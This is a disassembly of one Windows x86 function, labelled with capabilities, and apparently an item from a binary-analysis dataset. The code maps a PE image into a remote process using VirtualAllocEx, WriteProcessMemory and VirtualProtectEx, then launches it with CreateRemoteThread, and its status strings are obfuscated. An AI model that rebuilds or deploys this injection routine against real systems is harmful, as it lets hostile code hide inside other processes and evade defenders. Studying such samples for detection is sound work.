Function at 0x401080
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xb8
mov eax, dword [0x409040]
xor eax, esp
mov dword [esp + 0xb4], eax
push esi
mov esi, edx
mov eax, 0x5a4d
push edi
mov edi, ecx
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], edi
cmp word [esi], ax
je 0x401102
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x2140f29
mov dword [esp + 0x18], 0x47020c08
mov dword [esp + 0x1c], 0xe06000e
mov word [esp + 0x20], 0x66
mov byte [esp + 0x22], 1
call fcn.00402800
lea eax, [esp + 0x14]
push eax
call fcn.00401050
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x3c]
mov ecx, 0x14c
add eax, esi
mov dword [esp + 0x3c], eax
cmp word [eax + 4], cx
je 0x40115a
movaps xmm0, xmmword [0x406410]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov word [esp + 0x24], 0x7a
mov byte [esp + 0x26], 1
call fcn.004027a0
lea eax, [esp + 0x14]
push eax
call fcn.00401050
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x60e0826
mov dword [esp + 0x18], 0x6d0d0a44
mov word [esp + 0x1c], pe_nt_image_headers32
call fcn.00402740
lea eax, [esp + 0x14]
push eax
call fcn.00401050
mov eax, dword [esp + 0x40]
add esp, 4
push 4
push 0x3000
push dword [eax + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [esp + 0x10], ecx
test ecx, ecx
jne 0x4011f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406420]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov esi, eax
mov dword [esp + 0x80], 0x1009bc8
movaps xmm0, xmmword [0x406510]
movups xmmword [esp + 0x60], xmm0
movaps xmm0, xmmword [0x406680]
movups xmmword [esp + 0x70], xmm0
call fcn.004026e0
lea eax, [esp + 0x50]
jmp 0x401de6
lea eax, [esp + 0xb4]
mov dword [esp + 0xb4], 0
push eax
mov eax, dword [esp + 0x40]
push 0x40
push dword [eax + 0x50]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x1000
mov dword [esp + 0x98], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x1c]
push eax
push edi
mov dword [esp + 0xb0], 0
mov dword [esp + 0xac], eax
mov dword [esp + 0xb4], 1
mov dword [esp + 0xb8], 0
mov dword [esp + 0xbc], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4012ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406480]
lea ecx, [esp + 0x50]
mov esi, eax
mov dword [esp + 0x60], 0x12171950
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x64], 0x57041010
mov dword [esp + 0x68], 0x235f0148
mov word [esp + 0x6c], 0x76
mov byte [esp + 0x6e], 1
call fcn.00402680
lea eax, [esp + 0x50]
push esi
push eax
call fcn.00401050
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x3c]
xor edi, edi
movzx esi, word [eax + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x40133f
add esi, eax
mov eax, dword [esi - 4]
test eax, eax
je 0x40132f
push 0
push eax
mov eax, dword [esi]
add eax, dword [esp + 0x54]
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x1c]
push eax
push dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4013e1
mov eax, dword [esp + 0x3c]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x401304
mov edi, dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
push 0x1c
push 0
push edi
call esi
mov dword [esp + 0x40], eax
test eax, eax
jne 0x401453
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406420]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov esi, eax
mov dword [esp + 0x80], 0x98c9b5
movaps xmm0, xmmword [0x406500]
movups xmmword [esp + 0x60], xmm0
mov byte [esp + 0x84], 1
movaps xmm0, xmmword [0x4066a0]
movups xmmword [esp + 0x70], xmm0
call fcn.004025c0
lea eax, [esp + 0x50]
push esi
push eax
call fcn.00401050
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406390]
lea ecx, [esp + 0x14]
mov esi, eax
mov dword [esp + 0x24], 0x5348021e
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x28], 0xf530d44
mov word [esp + 0x2c], 0x72
mov byte [esp + 0x2e], 1
call fcn.00402620
lea eax, [esp + 0x14]
push esi
push eax
call fcn.00401050
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push dword [esp + 0x54]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
push 0
push 0x1c
lea ecx, [esp + 0x98]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4014ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x4065c0]
lea ecx, [esp + 0x14]
mov esi, eax
mov dword [esp + 0x24], 0x53151f19
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x28], 0x2f530d44
mov word [esp + 0x2c], 0x72
mov byte [esp + 0x2e], 1
call fcn.00402620
lea eax, [esp + 0x14]
push esi
push eax
call fcn.00401050
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x48]
push edi
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call esi
mov dword [esp + 0x44], eax
test eax, eax
jne 0x40159a
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406490]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov esi, eax
mov dword [esp + 0x70], 0xaba2e5e5
movaps xmm0, xmmword [0x406530]
movups xmmword [esp + 0x60], xmm0
mov dword [esp + 0x74], 0xa7affde1
mov dword [esp + 0x78], 0xd3aff1b8
mov word [esp + 0x7c], 0x86
mov byte [esp + 0x7e], 1
call fcn.00402560
lea eax, [esp + 0x50]
push esi
push eax
call fcn.00401050
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x48]
push edi
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
push 0
push 0x1000
push 0x401e10
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401644
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406440]
lea ecx, [esp + 0x50]
mov esi, eax
mov dword [esp + 0x60], 0x171d121c
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x64], 0xf465511
mov dword [esp + 0x68], 0x70215d
mov byte [esp + 0x6c], 1
call fcn.00402500
lea eax, [esp + 0x50]
push esi
push eax
call fcn.00401050
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [esp + 0x18]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x48]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x4c]
push edi
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x4065e0]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov word [esp + 0x24], 0x7a
mov byte [esp + 0x26], 1
call fcn.004027a0
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.00401050
movaps xmm0, xmmword [0x406620]
lea ecx, [esp + 0x1c]
add esp, 8
mov dword [esp + 0x24], 0x780155
movups xmmword [esp + 0x14], xmm0
mov byte [esp + 0x28], 1
call fcn.004024a0
mov esi, dword [esp + 0x40]
lea eax, [esp + 0x14]
push esi
push eax
call fcn.00401050
movaps xmm0, xmmword [0x4065d0]
lea ecx, [esp + 0x1c]
add esp, 8
mov word [esp + 0x24], 0x7a
movups xmmword [esp + 0x14], xmm0
mov byte [esp + 0x26], 1
call fcn.004027a0
push dword [esp + 0x44]
lea eax, [esp + 0x18]
push eax
call fcn.00401050
movaps xmm0, xmmword [0x4063b0]
lea ecx, [esp + 0x1c]
add esp, 8
mov byte [esp + 0x24], 1
movups xmmword [esp + 0x14], xmm0
call fcn.00402440
lea eax, [esp + 0x14]
push eax
call fcn.00401050
add esp, 4
push 0
push 0
push esi
mov esi, dword [esp + 0x50]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x4017b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406600]
lea ecx, [esp + 0x50]
mov esi, eax
mov dword [esp + 0x60], 0x1f1b1016
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x64], 0x47561111
mov dword [esp + 0x68], 0x71225c00
mov word [esp + 0x6c], pe_nt_image_headers32
call fcn.004023e0
lea eax, [esp + 0x50]
push esi
push eax
call fcn.00401050
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
add esp, 8
push 0x8000
push 0
push dword [esp + 0x18]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x48]
push edi
call esi
push 0x8000
push 0
push dword [esp + 0x4c]
push edi
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x4064e0]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x70], 0xf1a2f3ef
movaps xmm0, xmmword [0x406540]
movups xmmword [esp + 0x60], xmm0
mov dword [esp + 0x74], 0xf5f3f1e1
mov dword [esp + 0x78], 0xa5a4a7e6
mov word [esp + 0x7c], 0x86
mov byte [esp + 0x7e], 1
call fcn.00402560
lea eax, [esp + 0x50]
push esi
push eax
call fcn.00401050
add esp, 8
nop word [eax + eax]
lea eax, [esp + 0xac]
mov dword [esp + 0xac], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov esi, dword [esp + 0xac]
cmp esi, 0x103
jne 0x401dbc
push 0
push 0x1c
lea eax, [esp + 0x58]
mov dword [esp + 0x70], 0
push eax
push dword [esp + 0x4c]
xorps xmm0, xmm0
push edi
movaps xmmword [esp + 0x64], xmm0
movq qword [esp + 0x74], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [esp + 0x5c]
cmp esi, 0x404040
je 0x401d8d
cmp esi, 0x505050
jne 0x4018ba
movaps xmm0, xmmword [str.7_0____H_]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x34], 0x88a0e4
movaps xmm0, xmmword [0x406550]
movups xmmword [esp + 0x24], xmm0
mov byte [esp + 0x38], 1
call fcn.004022c0
lea eax, [esp + 0x14]
push eax
call fcn.00401050
add esp, 4
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x401810
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
mov dword [esp + 0x4c], esi
test esi, esi
jne 0x401932
movaps xmm0, xmmword [0x4064d0]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x24], 0x1e521404
mov dword [esp + 0x28], 0x5191811
mov dword [esp + 0x2c], 0x1007301
call fcn.00402260
lea eax, [esp + 0x14]
push eax
call fcn.00401050
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
push 0x1400000
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x1000
push esi
push dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40199f
movaps xmm0, xmmword [0x406630]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x60], 0x12171d13
mov dword [esp + 0x64], 0x323e5506
mov dword [esp + 0x68], 0x293f3d39
mov word [esp + 0x6c], 0x76
mov byte [esp + 0x6e], 1
call fcn.00402680
lea eax, [esp + 0x50]
push eax
call fcn.00401050
add esp, 4
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0xac], 0
movzx eax, word [ecx + 0x14]
lea esi, [ecx + 0x18]
add esi, eax
movzx eax, word [ecx + 6]
mov dword [esp + 0xb0], esi
mov edx, eax
test ax, ax
je 0x401b45
xor edx, edx
nop
cmp dword [esi + 8], 0
je 0x401b1b
mov ecx, str..pdata
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401a01
test dl, dl
je 0x4019fd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401a01
add eax, 2
add ecx, 2
test dl, dl
jne 0x4019e1
xor eax, eax
jmp 0x401a06
sbb eax, eax
or eax, 1
test eax, eax
je 0x401a6e
mov ecx, str..rsrc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401a31
test dl, dl
je 0x401a2d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401a31
add eax, 2
add ecx, 2
test dl, dl
jne 0x401a11
xor eax, eax
jmp 0x401a36
sbb eax, eax
or eax, 1
test eax, eax
je 0x401a6e
mov ecx, str..reloc
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401a61
test dl, dl
je 0x401a5d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401a61
add eax, 2
add ecx, 2
test dl, dl
jne 0x401a41
xor eax, eax
jmp 0x401a66
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401b14
movaps xmm0, xmmword [0x4064a0]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x24], 0x12041e1d
mov dword [esp + 0x28], 0x1007f18
call fcn.00402200
lea eax, [esp + 0x14]
push esi
push eax
call fcn.00401050
mov eax, dword [esi + 0xc]
add esp, 8
add eax, dword [esp + 0x10]
push 0
push dword [esi + 8]
push dword [esp + 0x54]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401b14
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406560]
lea ecx, [esp + 0x50]
mov esi, eax
mov dword [esp + 0x60], 0x531c1e19
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x64], 0x574c0651
mov dword [esp + 0x68], 0x35f0148
mov word [esp + 0x6c], 0x76
mov byte [esp + 0x6e], 1
call fcn.00402680
push esi
mov esi, dword [esp + 0xb4]
lea eax, [esp + 0x54]
push esi
push eax
call fcn.00401050
add esp, 0xc
mov edx, dword [esp + 0xac]
mov eax, dword [esp + 0x3c]
inc edx
add esi, 0x28
mov dword [esp + 0xac], edx
mov dword [esp + 0xb0], esi
movzx eax, word [eax + 6]
mov ecx, eax
cmp edx, eax
jne 0x4019d0
mov edx, ecx
mov ecx, dword [esp + 0x3c]
movzx eax, word [ecx + 0x14]
lea esi, [ecx + 0x18]
xor ecx, ecx
add esi, eax
mov dword [esp + 0xac], ecx
test dx, dx
je 0x401c41
mov edx, dword [esi + 8]
test edx, edx
je 0x401c22
mov eax, dword [esi + 0x24]
mov edi, 2
mov dword [esp + 0xb0], 0
test eax, 0x80000000
jbe 0x401b8c
mov edi, 4
jmp 0x401b99
test eax, 0x20000000
mov eax, 0x20
cmova edi, eax
lea eax, [esp + 0xb0]
push eax
mov eax, dword [esi + 0xc]
add eax, dword [esp + 0x14]
push edi
push edx
push eax
push dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x401be4
movaps xmm0, xmmword [0x4064f0]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x24], 0x1f575103
mov dword [esp + 0x28], 0x1007f2c
call fcn.00402200
lea eax, [esp + 0x14]
jmp 0x401c10
movaps xmm0, xmmword [0x4065a0]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov word [esp + 0x70], pe_nt_image_headers32
movaps xmm0, xmmword [0x406650]
movups xmmword [esp + 0x60], xmm0
call fcn.004021a0
lea eax, [esp + 0x50]
push edi
push esi
push eax
call fcn.00401050
mov ecx, dword [esp + 0xb8]
add esp, 0xc
mov eax, dword [esp + 0x3c]
inc ecx
add esi, 0x28
mov dword [esp + 0xac], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jne 0x401b60
mov edi, dword [esp + 0x48]
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0xb8]
push eax
push 2
mov dword [esp + 0xc0], 0
movzx eax, word [ecx + 0x14]
push dword [eax + ecx + 0x24]
push dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [esp + 0x44]
push 0
push 0x1000
push dword [esp + 0x54]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401cbb
movaps xmm0, xmmword [0x4064c0]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov byte [esp + 0x70], 1
movaps xmm0, xmmword [0x4063d0]
movups xmmword [esp + 0x60], xmm0
call fcn.00402380
lea eax, [esp + 0x50]
push eax
call fcn.00401050
add esp, 4
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
test eax, eax
jne 0x401d1a
movaps xmm0, xmmword [str.7_0____H_n_v]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x70], 0xe6efa1e5
movaps xmm0, xmmword [0x406570]
movups xmmword [esp + 0x60], xmm0
mov dword [esp + 0x74], 0xfef4eae9
mov word [esp + 0x78], 0x82
mov byte [esp + 0x7a], 1
call fcn.00402140
lea eax, [esp + 0x50]
push eax
call fcn.00401050
add esp, 4
push 0x8000
push 0
push dword [esp + 0x48]
push edi
call esi
test eax, eax
jne 0x401d77
movaps xmm0, xmmword [str.7_0____H_n_v]
lea ecx, [esp + 0x50]
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x70], 0xa3e3f5e1
movaps xmm0, xmmword [0x406590]
movups xmmword [esp + 0x60], xmm0
mov dword [esp + 0x74], 0xe8ebe0e9
mov dword [esp + 0x78], 0x80f0fa
mov byte [esp + 0x7c], 1
call fcn.004020e0
lea eax, [esp + 0x50]
push eax
call fcn.00401050
add esp, 4
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 0xb4]
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x406580]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov dword [esp + 0x24], 0x1007b02
call fcn.00402320
lea eax, [esp + 0x14]
push eax
call fcn.00401050
add esp, 4
jmp 0x4015fe
movaps xmm0, xmmword [0x4065f0]
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
mov byte [esp + 0x34], 1
movaps xmm0, xmmword [0x4063e0]
movups xmmword [esp + 0x24], xmm0
call fcn.00402380
lea eax, [esp + 0x14]
push esi
push eax
call fcn.00401050
mov ecx, dword [esp + 0xc4]
add esp, 8
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret